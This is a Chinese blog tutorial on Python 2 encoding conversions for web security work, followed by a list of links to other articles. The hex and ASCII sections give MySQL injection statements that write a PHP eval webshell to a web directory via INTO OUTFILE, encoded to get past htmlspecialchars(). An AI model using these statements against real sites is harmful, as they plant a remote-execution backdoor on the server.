python妙用之编码的转换详解


Posted in Python onApril 21, 2017

前言

记得刚入门那个时候,自己处理编码转换问题往往是“百度:url解码、base64加密、hex……”,或者是使用一款叫做“小葵多功能转换工具”的软件,再后来直接上Burpsuite的decoder功能,感觉用的还挺好的。不过,也遇到些问题:在线转换效率低(搜索占去了2/3的时间)、两款工具存在一些小问题,比如burp中涉及中文往往显示乱码。

python妙用之编码的转换详解

python妙用之编码的转换详解

直到使用python来作为我日常编码转换工具……

开启py转换之旅

url编码

url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为web人员最熟悉的一种编码方式了。

>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base64

Base64常常用作网页表单和HTTP传输的一些参数,也常用于邮件协议传输用户信息等。

>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'

记得有次ctf比赛中考到了base32解密,一般网站不提供在线解密,一时之间貌似没有办法继续下去。不过如果你使用python的话会像上边解密base64一样简单,只需要将函数改变下:

>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'

Hex

十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员,我们心知肚明的是,MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。

比如:

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

下面是python实现hex加解密的方法:

>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'
>>>
>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
<?php @eval($_POST[a]); ?>
>>>

ASCii

MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。

比如:

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

使用python将字符串转换ascii很简单,但是逆转换的话需要需要点小操作:

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print ''.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

Md5

md5在web安全界可以说是人尽皆知了,以他的不可逆性,大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密,这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。

>>> from hashlib import md5
>>> m = md5()
>>> m.update('this is a secret')
>>> m.hexdigest()
'7dbbcee180ba4d456e4aa1cfbdad9c7b'

>>> m.hexdigest()[8:-8]
'80ba4d456e4aa1cf'
>>>

Unicode转中文

unicode转换中文,很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题,在python下实现非常简单。

>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆

总结

python实际上在实际使用中非常方便,编码转换只是其中一个例子。文中提到的编码转换皆为笔者日常积累,如果有没有涉及到的地方,欢迎评论补充。好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对三水点靠木的支持。

Python 相关文章推荐
Python和php通信乱码问题解决方法
Apr 15 Python
Python open()文件处理使用介绍
Nov 30 Python
python在指定目录下查找gif文件的方法
May 04 Python
Python 文件处理注意事项总结
Apr 10 Python
Python随机生成手机号、数字的方法详解
Jul 21 Python
pycharm下查看python的变量类型和变量内容的方法
Jun 26 Python
python的pyecharts绘制各种图表详细(附代码)
Nov 11 Python
Python 窗体(tkinter)下拉列表框(Combobox)实例
Mar 04 Python
Python2手动安装更新pip过程实例解析
Jul 16 Python
告别网页搜索!教你用python实现一款属于自己的翻译词典软件
Jun 03 Python
一些让Python代码简洁的实用技巧总结
Aug 23 Python
详解Python中的for循环
Apr 30 Python
简单谈谈Python中的元祖(Tuple)和字典(Dict)
Apr 21 #Python
Python学习笔记之解析json的方法分析
Apr 21 #Python
Python正则抓取网易新闻的方法示例
Apr 21 #Python
Python中shape计算矩阵的方法示例
Apr 21 #Python
Python使用正则表达式抓取网页图片的方法示例
Apr 21 #Python
用python找出那些被“标记”的照片
Apr 20 #Python
python实现12306火车票查询器
Apr 20 #Python
You might like
DC动画电影《黑暗正义联盟》曝预告 5月5日上线数字平台
2020/04/09 欧美动漫
PHP配置把错误日志以邮件方式发送方法(Windows系统)
2015/06/23 PHP
PHP 极验验证码实例讲解
2016/09/29 PHP
深入了解PHP中的Array数组和foreach
2016/11/06 PHP
JavaScript入门教程(9) Document文档对象
2009/01/31 Javascript
jQuery下扩展插件和拓展函数的写法(匿名函数使用的典型例子)
2010/10/20 Javascript
jQuery学习笔记 操作jQuery对象 文档处理
2012/09/19 Javascript
Jquery Uploadify上传带进度条的简单实例
2014/02/12 Javascript
input标签内容改变的触发事件介绍
2014/06/18 Javascript
让浏览器DOM元素最后加载的js方法
2014/07/29 Javascript
jQuery EasyUI 菜单与按钮之创建简单的菜单和链接按钮
2015/11/18 Javascript
jQuery打字效果实现方法(附demo源码下载)
2015/12/18 Javascript
如何利用JSHint减少JavaScript的错误
2016/08/23 Javascript
前端框架Vue.js构建大型应用浅析
2016/09/12 Javascript
switch语句的妙用(必看篇)
2016/10/03 Javascript
JavaScript注册时密码强度校验代码
2017/06/30 Javascript
利用Vue2.x开发实现JSON树的方法
2018/01/04 Javascript
vue项目中使用ueditor的实例讲解
2018/03/05 Javascript
基于Vue-cli快速搭建项目的完整步骤
2018/11/03 Javascript
小程序实现上下切换位置
2020/11/16 Javascript
[45:38]DOTA2上海特级锦标赛主赛事日 - 1 胜者组第一轮#1Liquid VS Alliance第一局
2016/03/02 DOTA
python使用matplotlib库生成随机漫步图
2018/08/27 Python
Python实现将多个空格换为一个空格.md的方法
2018/12/20 Python
Python类的继承、多态及获取对象信息操作详解
2019/02/28 Python
基于pytorch的lstm参数使用详解
2020/01/14 Python
tensorflow 实现从checkpoint中获取graph信息
2020/02/10 Python
Python HTMLTestRunner可视化报告实现过程解析
2020/04/10 Python
美国卡车、吉普车和SUV零件网站:4 Wheel Parts
2016/11/24 全球购物
巴西葡萄酒销售网站:Wine.com.br
2017/11/07 全球购物
OnePlus加拿大官网:中国国际化手机品牌
2020/10/13 全球购物
环保倡议书范文
2014/05/12 职场文书
平安建设工作方案
2014/06/02 职场文书
我的梦想演讲稿500字
2014/08/21 职场文书
家庭暴力离婚起诉书
2015/05/18 职场文书
Go语言使用select{}阻塞main函数介绍
2021/04/25 Golang
Pandas自定义选项option设置
2021/07/25 Python